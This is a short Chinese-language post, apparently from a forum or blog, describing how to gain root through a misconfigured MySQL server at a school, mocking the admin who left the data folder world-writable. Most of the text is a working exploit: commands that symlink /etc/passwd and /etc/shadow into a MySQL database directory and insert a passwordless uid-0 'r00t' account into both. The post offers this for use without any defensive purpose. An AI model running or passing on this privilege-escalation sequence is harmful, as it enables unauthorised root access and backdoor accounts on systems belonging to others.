通​過​m​y​s​q​l​d​獲​得​r​o​o​t​權​限​

根本不用 '../../tmp'
學校直接把mysql資料夾權限設777
可見我們的admin有多友善


cd /var/tmp
ln -s /etc/passwd a.ISD
ln -s /etc/shadow b.ISD
mysql -u user -h localhost -p******** '../../tmp'

create table a(qqq varchar(255));
create table b(qqq varchar(255));
insert into a values('r00t::0:0:Hacked_Fucked_R00T:/:/bin/sh');
insert into b values('r00t::1:0:99999:7:-1:-1:');
\q

參考資料: http://fanqiang.chinaunix.net/a5/b4/20010521/090400167_b.html